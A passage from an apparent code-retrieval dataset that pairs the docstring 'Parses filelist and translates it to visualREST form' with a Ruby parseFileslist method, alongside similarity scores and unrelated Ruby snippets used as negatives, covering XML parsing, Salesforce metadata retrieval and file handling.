"def get_retrieve_body(options)\n types_body = \"\"\n if ! options[:package].nil?\n require 'rexml/document'\n xml_data = File.read(options[:package])\n doc = REXML::Document.new(xml_data)\n types_body = \"\"\n doc.elements.each('Package/types') do |el|\n types_body << \"<types>\"\n types_body << \"<name>#{el.elements[\"name\"].text}</name>\"\n el.each_element do |member|\n if member.to_s.include? \"<members>\"\n types_body << \"<members>#{member.text}</members>\"\n end\n end\n types_body << \"</types>\"\n end\n #puts types_body\n return \"<RetrieveRequest><unpackaged>#{types_body}</unpackaged><apiVersion>#{MM_API_VERSION}</apiVersion></RetrieveRequest>\"\n else \n if ! options[:path].nil? #grab path only\n path = options[:path]\n ext = File.extname(path).gsub(\".\",\"\") #=> \"cls\"\n mt = MavensMate::FileFactory.get_meta_type_by_suffix(ext)\n file_name_no_ext = File.basename(path, File.extname(path)) #=> \"myclass\" \n types_body << \"<types><members>#{file_name_no_ext}</members><name>#{mt[:xml_name]}</name></types>\"\n elsif ! options[:meta_types].nil? #custom built project\t(using project wizard)\n \t\t\toptions[:meta_types].each { |meta_type, selected_children| \n \t\t\t types_body << \"<types>\"\n \t\t\t if selected_children.length == 0\n \t\t\t types_body << \"<members>*</members>\"\n \t\t\t else\n \t\t\t selected_children.each { |child| \n \t\t\t types_body << \"<members>#{child}</members>\"\n \t\t\t }\n \t\t\t end\n \t\t\t types_body << \"<name>\"+meta_type+\"</name>\"\n \t\t\t types_body << \"</types>\"\n \t\t\t} \t\t\t\n else #grab from default package\n CORE_METADATA_TYPES.each { |type| \n types_body << \"<types><members>*</members><name>\"+type+\"</name></types>\"\n }\n end \n return \"<RetrieveRequest><unpackaged>#{types_body}</unpackaged><apiVersion>#{MM_API_VERSION}</apiVersion></RetrieveRequest>\"\n end\n end",
"def parse_files(*files); end",
"def parseFilerights(doc, params, path)\n \n fullpath = doc.find_first('//xmpp2rest/user/device/filerights').attributes.get_attribute('fullpath') ? doc.find_first('//xmpp2rest/user/device/filerights').attributes.get_attribute('fullpath').value : nil\n if not fullpath\n raise Exception.new('No fullpath given for changing filerights!')\n end\n \n # Checking if public-element (with: true-value) is given -> public file\n allow_public = doc.find_first('//xmpp2rest/user/device/filerights/public/allow') ? true : false\n if allow_public\n params.merge!({\"public\"=>'true'})\n end\n \n \n # Checking if groups are given -> private file\n doc.find('//xmpp2rest/user/device/filerights/groups/group').each do |group_element|\n \n groupname = (group_element.attributes.get_attribute(\"groupname\")) ? group_element.attributes.get_attribute(\"groupname\").value : nil\n if group_element.find_first('allow')\n params.merge!({\"group:#{groupname}\" => '1'})\n elsif group_element.find_first('deny')\n params.merge!({\"group:#{groupname}\" => '0'})\n else\n next\n end\n end\n\n return params, fullpath\n end",
"def create_new_ingest_payload( xml_doc )\n\n\n payload = {}\n\n #\n # add all the required fields\n #\n\n # creation date\n payload[ :create_date ] = CurationConcerns::TimeService.time_in_utc.strftime( \"%Y-%m-%d\" )\n\n # document title\n node = xml_doc.css( 'mods titleInfo title' ).first\n title = node.text if node\n payload[ :title ] = title if title.present?\n\n # document abstract\n node = xml_doc.css( 'mods abstract' ).first\n abstract = node.text if node\n payload[ :abstract ] = abstract if IngestHelpers.field_supplied( abstract )\n\n # document author\n found = false\n name_nodes = xml_doc.css( 'mods name' )\n name_nodes.each do |nn|\n nodes = nn.css( 'roleTerm' )\n nodes.each do |rt|\n if rt.get( 'type' ) == 'text' && rt.text == 'author'\n found = true\n break\n end\n end\n if found\n #puts \"Found AUTHOR\"\n fn, ln, dept = '', '', ''\n\n nodes = nn.css( 'namePart' )\n nodes.each do |np|\n case np.get( 'type' )\n when 'given'\n fn = np.text.chomp( ',' ) # remove a trailing comma\n when 'family'\n ln = np.text\n end\n end\n\n node = nn.css( 'description' ).first\n dept = node.text if node\n\n payload[ :author_first_name ] = fn if IngestHelpers.field_supplied( fn )\n payload[ :author_last_name ] = ln if IngestHelpers.field_supplied( ln )\n payload[ :department ] = dept if IngestHelpers.field_supplied( dept )\n break\n end\n end\n\n # issue date\n node = xml_doc.css( 'mods dateIssued' ).first\n issued_date = node.text if node\n payload[ :issued ] = issued_date if issued_date.present?\n\n # embargo attributes\n #embargo_type = solr_doc.at_path( 'release_to_t[0]' )\n #payload[ :embargo_type ] = embargo_type if embargo_type.present?\n #release_date = solr_doc.at_path( 'embargo_embargo_release_date_t[0]' )\n #payload[ :embargo_release_date ] = release_date if release_date.present?\n #payload[ :embargo_period ] =\n # IngestHelpers.estimate_embargo_period( issued_date, release_date ) if issued_date.present? && release_date.present?\n\n # document source\n node = xml_doc.css( 'mods identifier' ).first\n source = node.text if node\n # the space is there for a reason... SOLR stuff, dont ask!!\n payload[ :source ] = \"#{GenericWork::THESIS_SOURCE_INGEST} :#{source}\" if source.present?\n\n #\n # handle optional fields\n #\n\n # degree program\n node = xml_doc.css( 'mods degree level' ).first\n degree = node.text if node\n payload[ :degree ] = degree if degree.present?\n\n # keywords\n keywords = []\n topic_nodes = xml_doc.css( 'mods topic' )\n topic_nodes.each do |tn|\n kwtext = tn.text\n next if kwtext == 'JTIngest'\n kwords = kwtext.split( ' -- ' )\n kwords.each do |kw|\n w = kw.chomp( ',' ) # remove a trailing comma if present\n keywords << w unless keywords.include?( w )\n end\n end\n payload[ :keywords ] = keywords unless keywords.empty?\n\n # language\n node = xml_doc.css( 'mods language' ).first\n language = node.text if node\n payload[ :language ] = IngestHelpers.language_code_lookup( language ) if language.present?\n\n # notes\n node = xml_doc.css( 'mods note' ).first\n notes = node.text if node\n payload[ :notes ] = notes if notes.present?\n\n return payload\n end",
"def update_manifests(changes)\n current_manifest_path = manifest_path(object.id, self.version)\n previous_manifest_path = manifest_path(object.id, self.version.to_i-1)\n\n last_version_inventory = Moab::FileInventory.new(type: 'version', version_id: self.version.to_i-1, digital_object_id: @object.id)\n last_version_inventory.parse(Pathname.new(File.join(previous_manifest_path, 'versionInventory.xml')).read)\n\n @version_inventory = Moab::FileInventory.new(type: 'version', version_id: self.version.to_i-1, digital_object_id: @object.id)\n @version_inventory.parse(Pathname.new(File.join(previous_manifest_path, 'versionInventory.xml')).read)\n @version_inventory.version_id = @version_inventory.version_id+1\n\n if changes.key?(:added)\n changes[:added].keys.each do |type|\n path = path_for_type(type)\n \n changes[:added][type].each { |file| moab_add_file_instance(path, file, type) }\n end\n end\n\n if changes.key?(:modified)\n changes[:modified].keys.each do |type|\n path = path_for_type(type)\n\n changes[:modified][type].each do |file|\n @version_inventory.groups.find {|g| g.group_id == type.to_s }.remove_file_having_path(file)\n\n moab_add_file_instance(path, file, type)\n end\n end\n end\n\n if changes.key?(:deleted)\n changes[:deleted].keys.each do |type|\n path = path_for_type(type)\n\n changes[:deleted][type].each do |file|\n @version_inventory.groups.find {|g| g.group_id == type.to_s }.remove_file_having_path(file)\n end\n end\n end\n \n signature_catalog = Moab::SignatureCatalog.new(digital_object_id: object.id)\n signature_catalog.parse(Pathname.new(File.join(previous_manifest_path, 'signatureCatalog.xml')).read)\n version_additions = signature_catalog.version_additions(@version_inventory)\n signature_catalog.update(@version_inventory, Pathname.new( data_path(object.id, self.version) ))\n file_inventory_difference = Moab::FileInventoryDifference.new\n file_inventory_difference.compare(last_version_inventory, @version_inventory)\n\n signature_catalog.write_xml_file(Pathname.new(current_manifest_path))\n @version_inventory.write_xml_file(Pathname.new(current_manifest_path))\n version_additions.write_xml_file(Pathname.new(current_manifest_path))\n file_inventory_difference.write_xml_file(Pathname.new(current_manifest_path))\n\n manifest_inventory = Moab::FileInventory.new(type: 'manifests', digital_object_id: object.id, version_id: self.version)\n manifest_inventory.groups << Moab::FileGroup.new(group_id: 'manifests').group_from_directory(current_manifest_path, recursive=false)\n manifest_inventory.write_xml_file(Pathname.new(current_manifest_path))\n\n true\n rescue StandardError => e\n Rails.logger.error \"unable to update manifests: #{e}\"\n false\n end",
"def representative_file\n file_key = metadata.keys.find { |k| k.to_s =~ /(representative_)?files?/i }\n return [] if file_key.nil?\n\n metadata.fetch(file_key, [])\n end",
"def additional_information_xml(xml)\n\n end",
"def update_files(&block)\n \n get_template_entries.each do |entry|\n \n next if entry.directory?\n \n entry.get_input_stream do |is|\n \n data = is.sysread\n \n if CONTENT_FILES.include?(entry.name)\n process_entry(data, &block)\n end\n \n @output_stream.put_next_entry(entry.name)\n @output_stream.write data\n \n end\n end\n end",
"def get_metadata\n doc = download_ais(@program_id)\n streamUri = (doc/\"//streamuri\").text\n @metadata[:fileType] = streamUri[-3..-1]\n @metadata[:programName] = (doc/\"//brandtitle\").text\n @metadata[:episodeId] = (doc/\"//programmenumber\").text\n\n assetInfo = download_asset(@program_id)\n @metadata[:episodeNumber] = (assetInfo/\"//episodenumber\").text\n @metadata[:seriesNumber] = (assetInfo/\"//seriesnumber\").text\n @metadata[:episodeInfo] = (assetInfo/\"//episodeinfo\").text\n @metadata[:episodeTitle] = (assetInfo/\"//episodetitle\").text\n @metadata[:brandTitle] = (assetInfo/\"//brandtitle\").text\n @metadata[:epId] = (assetInfo/\"//programmeid\").text\n @metadata[:imagePath] = (assetInfo/\"//imagepath\").text\n\n @metadata[:title1] = (assetInfo/\"//title1\").text\n @metadata[:title2] = (assetInfo/\"//title2\").text\n\n #progGuideUrl is used to pull out metadata from the CH4 website\n progGuideUrl = (assetInfo/\"//episodeguideurl\").text\n\n begin\n #read program guide to get additional metadata\n seriesInfo = download_progguide(progGuideUrl)\n\n synopsisElem = seriesInfo.at(\"//meta[@name='synopsis']\")\n @metadata[:description] = synopsisElem.nil? ? \"\" : synopsisElem['content']\n rescue\n @log.error \"Unable to read program guide data - the video file will not be fully tagged\"\n @log.debug \"Program Guide URL: #{progGuideUrl}\"\n end\n end",
"def show\n @photoalbum = Photoalbum.find(params[:id])\n \n # temporary solution to get exif information in photos which are on the server: TODO\n @exifphotos = @photoalbum.photos.where(exif_date: nil, photo_content_type: \"image/jpeg\")\n @exifphotos.each do |p|\n if File.exists?(p.photo.path)\n exif = EXIFR::JPEG.new(p.photo.path)\n p.exif_date = exif.date_time\n if not exif.date_time.nil?\n p.save\n end\n end\n end\n\n @allphotos = @photoalbum.photos.all(:order => 'exif_date DESC, photo_file_name DESC, created_at DESC')\n @photos = @photoalbum.photos.paginate(:page => params[:page], :order => 'exif_date DESC, photo_file_name DESC, created_at DESC', :per_page => 12)\n\t\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photoalbum }\n end\n end",
"def extract_metadata(node, type)\n # TODO: support _index or _slug convention as well\n meta_file = node.out(slug: type.to_s).first\n\n if meta_file\n # Process metadata and add it to the collection node\n # TODO: pass in content converter object\n # TODO: index/body content by default if extracted from frontmatter\n body, data = process_content(meta_file.props[:entry])\n else\n # Otherwise, assume default collection behaviour\n data = {}\n end\n\n # Generate a default title if not provided in metadata\n unless data.key?(:title)\n data[:title] = type.to_s.capitalize\n end\n\n data\n end",
"def index\n @medusa_premis_file_objects = MedusaPremis::FileObject.all\n\n respond_to do |format|\n format.html {setup_next_and_previous_documents} # index.html.erb\n format.json { render json: @medusa_premis_file_objects }\n end\n end"
] |
[
"0.6386808",
"0.6291768",
"0.62225085",
"0.60652304",
"0.6039805",
"0.6015787",
"0.59605604",
"0.58678955",
"0.5758944",
"0.57544965",
"0.573245",
"0.57027555",
"0.566653",
"0.56462985",
"0.5641608",
"0.5640055",
"0.5623967",
"0.5616245",
"0.5562989",
"0.5547797",
"0.5529505",
"0.55207044",
"0.55085105",
"0.5492523",
"0.54900163",
"0.54650116",
"0.54617476",
"0.54508984",
"0.54275024",
"0.5410217",
"0.5404845",
"0.53952366",
"0.5374266",
"0.53739595",
"0.5348639",
"0.5344539",
"0.5341646",
"0.53228927",
"0.53097236",
"0.5292408",
"0.5289377",
"0.52750725",
"0.52716666",
"0.5269609",
"0.5265667",
"0.5263808",
"0.52445084",
"0.5243614",
"0.52371216",
"0.52371216",
"0.5235678",
"0.52124554",
"0.5197837",
"0.51923877",
"0.5186313",
"0.51859283",
"0.51633865",
"0.5143989",
"0.514153",
"0.5135252",
"0.5133833",
"0.5132583",
"0.5125114",
"0.51206374",
"0.51120555",
"0.5107437",
"0.51065344",
"0.5085093",
"0.5081566",
"0.5078995",
"0.5075934",
"0.50747555",
"0.5072723",
"0.5072216",
"0.50635374",
"0.50633335",
"0.5054214",
"0.50508463",
"0.5047663",
"0.5045843",
"0.5038397",
"0.50360286",
"0.5035188",
"0.5028141",
"0.5025088",
"0.50095123",
"0.5008046",
"0.5006738",
"0.50012946",
"0.49872628",
"0.49847484",
"0.49780375",
"0.4967887",
"0.49678686",
"0.4967842",
"0.49653363",
"0.49643296",
"0.49596077",
"0.49543157",
"0.49539155"
] |
0.7655701
|
0
|
Parses filelist and translates it to visualREST form
|
def parseFileslist(doc, params, path)
prev_commit_hash = (doc.find_first('//xmpp2rest/user/device/files/prev_commit_hash') ? doc.find_first('//xmpp2rest/user/device/files/prev_commit_hash').content : nil)
commit_hash = (doc.find_first('//xmpp2rest/user/device/files/commit_hash')) ? doc.find_first('//xmpp2rest/user/device/files/commit_hash').content : nil
if not commit_hash
raise Exception.new("Missing element: commit_hash")
end
puts "Prev_commit_hash: " + prev_commit_hash.to_s
puts "Commit_hash: " + commit_hash.to_s
location = {}
location['latitude'] = (doc.find_first('//xmpp2rest/user/device/files/location/latitude')) ? doc.find_first('//xmpp2rest/user/device/files/location/latitude').content : "NULL"
location['longitude'] = (doc.find_first('//xmpp2rest/user/device/files/location/longitude')) ? doc.find_first('//xmpp2rest/user/device/files/location/longitude').content : "NULL"
filelist = Hash.new
doc.find('//user/device/files/file').each do |file|
fullpath = (file.attributes.get_attribute("fullpath")) ? file.attributes.get_attribute("fullpath").value : nil
filepath = (file.find_first('path')) ? file.find_first('path').content : nil
filename = (file.find_first('filename')) ? file.find_first('filename').content : nil
filedate = (file.find_first('filedate')) ? file.find_first('filedate').content : nil
filetype = (file.find_first('filetype')) ? file.find_first('filetype').content : nil
filesize = (file.find_first('filesize')) ? file.find_first('filesize').content : nil
version_hash = (file.find_first('version_hash')) ? file.find_first('version_hash').content : nil
if not filepath or not filename or not filetype or not filesize or not filedate or not version_hash
raise Exception.new("Not all the needed metadata given: filename, filetype, filesize, filedate and version_hash are compulsory!")
elsif fullpath.to_s != filepath.to_s + filename.to_s
raise Exception.new("fullpath: #{fullpath.to_s} doesn't match to path + name: #{filepath.to_s + filename.to_s}")
elsif fullpath[0,1] != '/' or filepath[0,1] != '/'
raise Exception.new("path must begin with /")
end
puts "filepath: #{filepath}"
filelist.merge!({fullpath => {"status" => "created", "blob_hash" => version_hash, "name" => filename, "path" => filepath, "size" => filesize, "filetype" => filetype, "filedate" => filedate.to_s}})
end
contains = YAML.dump_stream(filelist)
puts "contains: #{contains.to_s}"
if prev_commit_hash
puts "prev hash added!"
params['prev_commit_hash'] = prev_commit_hash
end
path += "/files"
params.merge!({ 'contains' => contains, 'commit_hash' => commit_hash, 'commit_location' => location})
return params, path
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def file_list\n end",
"def index\n @file_list = UploadedFileList.find(params[:uploaded_file_list_id])\n @file_list_items = @file_list.file_list_items.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @file_list_items }\n end\n end",
"def parse_list_response(xml)\n [ nodes_for(xml, 'files').collect{ |node| File.new(self, node) },\n nodes_for(xml, 'folders').collect{ |node| Folder.new(@rc, self, node) } ]\n end",
"def formatted_file_list(title, source_files); end",
"def list\n @file_list.to_a\n end",
"def file_list\n @file_list\n end",
"def parse_files(*files); end",
"def filelist\n puts_message \"filelist start\" \n\n user = current_user\n\n request = params[:request].force_encoding(\"UTF-8\")\n puts_message \"Requested Path: \" + params[:request]\n \n if user and check_existance_of_path(request) \n if request == nil\n @file_names = 'error'\n elsif request_is_directory?(request)\n fire_the_list(request)\n # @file_names = absolute_path(request)\n elsif request_is_file?(request)\n last = request.split('/').last\n path = absolute_path(request)\n send_file_info(last, request) \n else\n @file_names = 'error'\n end\n else \n @file_names = 'error'\n end\n\n puts_message \"filelist end\" \n \n @output = <<-END\n\n END\n \n if request == \"/images/\"\n @folders = Folder.all(:user_id => current_user.id)\n \n @output << \"photo\" + \"\\n\"\n \n @folders.each do |f|\n @output << f.name + \"\\n\"\n end\n \n @file_names = @output\n end\n \n return @file_names\n\n end",
"def parse_list; end",
"def parse_list; end",
"def formatted_file_list(title, source_files)\n title_id = title.gsub(/^[^a-zA-Z]+/, \"\").gsub(/[^a-zA-Z0-9\\-\\_]/, \"\")\n # Silence a warning by using the following variable to assign to itself:\n # \"warning: possibly useless use of a variable in void context\"\n # The variable is used by ERB via binding.\n title_id = title_id\n template(\"file_list\").result(binding)\n end",
"def populate_list_of_files_from_file(file_list, entry)\n logger.debug \"\\\"#{entry}\\\" is a file. Processing...\"\n file_list << entry\n # Find images if any\n Find.find(File.dirname(entry)) do |file|\n file_list << file if (File.file?(file) && is_image?(file))\n end\n end",
"def list\n files_mask = \"*.xml\"\n if current_user.role != \"admin\"\n files_mask = \"#{current_user.fileprefix}-*.xml\"\n end\n pending_path = ENV[\"EAD_XML_PENDING_FILES_PATH\"] + \"/#{files_mask}\"\n Rails.logger.info(\"Loading pending files at #{pending_path}\")\n\n file_list = []\n Dir[pending_path].each do |file|\n file_info = {\n name: File.basename(file, \".xml\"),\n timestamp: File.mtime(file),\n display_date: File.mtime(file).strftime(\"%Y-%m-%d %I:%M %p\")\n }\n file_list << file_info\n end\n file_list.sort_by! {|x| x[:timestamp]}.reverse!\n\n @presenter = UploadPresenter.new()\n @presenter.configure(pending_path, file_list, current_user)\n render\n rescue => ex\n render_error(\"list\", ex, current_user)\n end",
"def list\n\t\tfiles.map! { |filename|\n\t\t\t{:title => file_to_pagename(filename), :link => filename.chomp(\".md\")}\n\t\t}\n\tend",
"def list\n\t\tfiles.map! { |filename|\n\t\t\t{:title => file_to_pagename(filename), :link => filename.chomp(\".md\")}\n\t\t}\n\tend",
"def files\n if @array_of_ltfsfiles.empty? then parse(@filedata) else @array_of_ltfsfiles end\n end",
"def file_list(hash)\n\nend",
"def file_list(hash)\n\nend",
"def list\n @list ||= PublicSuffix::List::parse(File.new(list_path, \"r:utf-8\"))\n end",
"def filelist_file(origin_name, dist_name, component_name, packages)\n content = {\n \"filelists\" => {\n :@xmlns => XMLNS_MAP[:filelists],\n :@packages => packages.size,\n :package => packages.map { |package|\n {\n :@pkgid => package[:generated_sha],\n :@name => package[\"NAME\"],\n :@arch => package[\"ARCH\"],\n :version => {\n :@epoch => package[\"EPOCHNUM\"],\n :@ver => package[\"VERSION\"],\n :@rel => package[\"RELEASE\"].split(\".\").first,\n },\n :file => (package[\"FILENAMES\"] + package[\"DIRNAMES\"]).map { |dir|\n {:@type => \"dir\", :_content_ => dir}\n },\n }\n },\n },\n }\n args = [origin_name, dist_name, component_name, \"repodata\", \"filelists.xml\"]\n [\n create_file(*args) do |file|\n file.puts generate_xml(content)\n end,\n compress_file(*args),\n ]\n end",
"def formatted_file_list(title, result, source_files, options = {})\n title_id = title.gsub(/^[^a-zA-Z]+/, \"\").gsub(/[^a-zA-Z0-9\\-\\_]/, \"\")\n # Silence a warning by using the following variable to assign to itself:\n # \"warning: possibly useless use of a variable in void context\"\n # The variable is used by ERB via binding.\n title_id = title_id\n options = options\n\n template(\"file_list\").result(binding)\n end",
"def file_list files\n files.map { |gf| link_to_file(gf) }.join(', ').gsub(/\"/, \"'\")\n end",
"def parse_list(path, files)\n list_name = path.basename\n dir = path.dirname\n line_number = 0\n path.open('r') do |f|\n while (line = f.gets)\n line_number += 1\n # Strip the leading and trailing whitespace for sloppy typers\n line.strip!\n # Skip a blank line\n next if line.match(/^\\s+$/)\n # Check if the pattern or list exists\n line_path = Pathname.new(\"#{dir}/#{line}\")\n unless line_path.file?\n # puts \"Skipping #{line_path.to_s} at line ##{line_number} in file #{path.to_s} because it is not a file\"\n next\n end\n # Process the file\n process_file(line_path, files)\n end\n end\n end",
"def parse_files_json(file)\n\n files_hash = convert_json(b2_list_file_names(file))\n files = {}\n\n files_hash[\"files\"].each do |file_hash|\n files[file_hash[\"fileName\"]] = file_hash[\"fileId\"]\n end\n\n return files\n\nend",
"def list\n ret = get()\n return [] if ret.is_a? Hash and ret.has_key? :error\n ret.map{|i| FileItem.new(i)}\n end",
"def parse_files files\n file_list = gather_files files\n @stats = RDoc::Stats.new @store, file_list.length, @options.verbosity\n\n return [] if file_list.empty?\n\n original_options = @options.dup\n @stats.begin_adding\n\n file_info = file_list.map do |filename|\n @current = filename\n parse_file filename\n end.compact\n\n @stats.done_adding\n @options = original_options\n\n file_info\n end",
"def get_file_load_list\n json_file_path = File.join(SDESK_ROOT_PATH, 'configs', 'file_list.json')\n json_data = load_json_file json_file_path\n return [] unless json_data\n\n flist_arr = []\n json_data.each_pair do |dir_name, file_h|\n file_h.each_pair do |fname, queue_id|\n flist_arr << [File.join(dir_name, fname+'.rb'), queue_id]\n end\n end\n flist_arr.sort_by!{|arr| arr.last}\n flist_arr.map(&:first)\n end",
"def show\n @file_list = UploadedFileList.find(params[:uploaded_file_list_id])\n @file_list_item = @file_list.file_list_items.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @file_list_item }\n end\n end",
"def fire_the_list(path)\n @output = <<-END\n\n END\n dir = absolute_path(path).force_encoding(\"UTF-8\")\n begin \n @file_names = Dir.entries(dir)\n @file_names.each do |file|\n file = file.force_encoding(\"UTF-8\")\n # puts_message \"테스트 아웃풋 : \" + file\n end\n \n rescue\n @file_name = \"error\"\n end\n \n \n if not @file_names == nil\n # puts_message \"잘라낸 주소!!\" + path[0,7]\n if path[0,8] == \"/images/\"\n if path == \"/images/\" or path == \"/images/basic_photo/\"\n @file_names.delete_if{|f| f =~ /^(\\.)(.*)/}\n @file_names.each{|f| @output << f.force_encoding(\"UTF-8\") + \"\\n\"}\n @file_names = @output \n @access_url = \"\"\n \n else\n # puts_message \"폴더명 ===>\" + path.gsub(\"/images/\",\"\").gsub(\"/\",\"\") + \"::인코딩::\"+path.encoding.to_s\n @file_names = Myimage.all(:user_id => current_user.id, :folder_name => path.gsub(\"/images/\",\"\").gsub(\"/\",\"\"))\n @file_names.each{|f| @output << f.image_filename.force_encoding(\"UTF-8\") + \"\\n\"; puts_message f.image_filename}\n @file_names = @output \n @access_url = \"\"\n \n end\n else\n @file_names.delete_if{|f| f =~ /^(\\.)(.*)/}\n @file_names.each{|f| @output << f + \"\\n\"}\n @file_names = @output \n @access_url = \"\"\n end\n else\n @file_names = \"error\"\n @access_url = \"\"\n end \n end",
"def retrieve_cloud_files(files); end",
"def list_files\n source_dir = Path.new(params[:source_dir])\n if params.has_key?(:show_catalogues)\n show_catalogues = params[:show_catalogues]\n else\n show_catalogues = false\n end\n if params[:ext].present?\n file_type = params[:ext]\n else\n file_type = nil\n end\n render json: source_dir.files(file_type: file_type, show_catalogues: show_catalogues)\n end",
"def index\n @file_descriptions = FileDescription.all\n end",
"def files=(list)\n @files = makelist(list)\n end",
"def get_file_listing\n execute!(drive.files.list).data\n end",
"def list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PublicationsFileApi.list ...'\n end\n # resource path\n local_var_path = '/pulp/api/v3/publications/file/file/'\n\n # query parameters\n query_params = {}\n query_params[:'ordering'] = opts[:'ordering'] if !opts[:'ordering'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'fields'] = opts[:'fields'] if !opts[:'fields'].nil?\n query_params[:'exclude_fields'] = opts[:'exclude_fields'] if !opts[:'exclude_fields'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Basic']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse20015')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PublicationsFileApi#list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def transform_files!(files, type) \n files.each do |file|\n @file = file\n @type = type\n parsed = \"\"\n @dirnames = Base.get_namespace(file,type) # directories after the app/type/ directory\n \n namespaces = LANGUAGES.collect do |lang|\n if type == 'views'\n namespace = [lang] + @dirnames\n else\n namespace = [lang, type] + @dirnames\n end\n \n puts \"Converting: \" + file + \" into namespace: \"\n puts namespace.map {|x| \"[\\\"#{x}\\\"]\"}.join(\"\")\n \n Namespace.new(namespace,lang)\n end\n\n contents = Base.get_file_as_string(file)\n parsed << GettextI18nConvertor.string_to_i18n(contents, namespaces, type)\n \n # write the app/type/file with new i18n format instead of gettext\n File.open(file, 'w') { |file| file.write(parsed)}\n \n namespaces.each do |ns|\n new_file_handler(ns)\n end\n end\n end",
"def list(type=\"\",raw=false,format=\"json\")\n \n metadata_type = MavensMate::FileFactory.get_meta_type_by_name(type) || {}\n has_children_metadata = false\n if ! metadata_type[:child_xml_names].nil? and metadata_type[:child_xml_names].kind_of? Array\n has_children_metadata = true\n end\n is_folder_metadata = metadata_type[:in_folder]\n \n metadata_request_type = (is_folder_metadata == true) ? \"#{type}Folder\" : type\n if metadata_request_type == \"EmailTemplateFolder\"\n metadata_request_type = \"EmailFolder\"\n end\n \n #puts metadata_type.inspect + \"\\n\\n\"\n \n self.mclient = get_metadata_client\n begin\n response = self.mclient.request :list_metadata do |soap|\n soap.header = get_soap_header \n soap.body = \"<ListMetadataQuery><type>#{metadata_request_type}</type></ListMetadataQuery>\"\n end\n rescue Savon::SOAP::Fault => fault\n raise Exception.new(fault.to_s) if fault.to_s.not.include? \"sf:INVALID_TYPE\"\n end \n \n begin\n #puts \"beginning\"\n return response unless ! raw\n \n if response.nil?\n return []\n end\n \n #puts \"RESPONSE HASH: \" + response.to_hash.inspect + \"<br/><br/>\"\n \n #if theres nothing there, return an empty array\n if response.to_hash[:list_metadata_response].nil? or response.to_hash[:list_metadata_response] == nil\n return []\n end\n \n hash = response.to_hash\n \n els = Array.new\n result_elements = [] \n if hash[:list_metadata_response][:result].kind_of? Hash\n result_elements.push(hash[:list_metadata_response][:result])\n else\n result_elements = hash[:list_metadata_response][:result]\n end\n #puts \"result_elements: \" + hash.inspect\n \n #if this type has children, make a retrieve request for the type\n #parse the response as appropriate\n object_hash = {} #=> {\"Account\" => [ {\"fields\" => [\"foo\", \"bar\"]}, \"listviews\" => [\"foo\", \"bar\"] ], \"Contact\" => ... }\n \n if has_children_metadata == true && result_elements.length > 0\n #testing stuff\n require 'zip/zipfilesystem'\n require 'fileutils'\n retrieve_body = \"<RetrieveRequest><unpackaged><types><name>#{metadata_request_type}</name>\"\n result_elements.each { |el| \n retrieve_body << \"<members>#{el[:full_name]}</members>\"\n }\n retrieve_body << \"</types></unpackaged><apiVersion>#{MM_API_VERSION}</apiVersion></RetrieveRequest>\"\n zip_file = retrieve({ :body => retrieve_body })\n \n tmp_dir = Dir.tmpdir \n random = MavensMate::Util.get_random_string\n mm_tmp_dir = \"#{tmp_dir}/.org.mavens.mavensmate.#{random}\" \n \n Dir.mkdir(mm_tmp_dir)\n File.open(\"#{mm_tmp_dir}/metadata.zip\", \"wb\") {|f| f.write(Base64.decode64(zip_file))}\n Zip::ZipFile.open(\"#{mm_tmp_dir}/metadata.zip\") { |zip_file|\n zip_file.each { |f|\n f_path=File.join(mm_tmp_dir, f.name)\n FileUtils.mkdir_p(File.dirname(f_path))\n zip_file.extract(f, f_path) unless File.exist?(f_path)\n }\n }\n require 'nokogiri'\n # [{\"Account\" => [ {\"fields\" => [\"foo\", \"bar\"]}, \"listviews\" => [\"foo\", \"bar\"] ] }, ]\n \n Dir.foreach(\"#{mm_tmp_dir}/unpackaged/#{metadata_type[:directory_name]}\") do |entry| #iterate the metadata folders\n #entry => Account.object\n \n next if entry == '.' || entry == '..' || entry == '.svn' || entry == '.git'\n #puts \"processing: \" + entry + \"\\n\"\n \n doc = Nokogiri::XML(File.open(\"#{mm_tmp_dir}/unpackaged/#{metadata_type[:directory_name]}/#{entry}\"))\n doc.remove_namespaces!\n \n c_hash = {}\n metadata_type[:child_xml_names].each { |c|\n tag_name = c[:tag_name]\n items = []\n doc.xpath(\"//#{tag_name}/fullName\").each do |node|\n items.push(node.text)\n end \n c_hash[tag_name] = items\n }\n base_name = entry.split(\".\")[0]\n object_hash[base_name] = c_hash\n end \n FileUtils.rm_rf mm_tmp_dir\n end\n\n result_elements.each { |el| \n #puts \"RESULT ELEMENT: \" + el.inspect + \"<br/>\"\n #el => \"Account\"\n children = []\n full_name = el[:full_name]\n \n full_name = \"Account\" if full_name == \"PersonAccount\"\n object_detail = object_hash[full_name]\n \n #if this type has child metadata, we need to add the details\n if has_children_metadata == true\n #puts \"OBJECT DETAIL: \" + object_detail.inspect + \"<br/><br/>\" \n next if object_detail.nil?\n metadata_type[:child_xml_names].each { |child_xml|\n #puts child_xml.inspect\n #puts child_xml[:tag_name]\n \n tag_name = child_xml[:tag_name]\n #puts object_detail.inspect\n if object_detail[tag_name].size > 0\n gchildren = []\n object_detail[tag_name].each do |gchild_el|\n gchildren.push({\n :title => gchild_el,\n :key => gchild_el,\n :isLazy => false,\n :isFolder => false,\n :selected => false\n })\n end\n \n children.push({\n :title => child_xml[:tag_name],\n :key => child_xml[:tag_name],\n :isLazy => false,\n :isFolder => 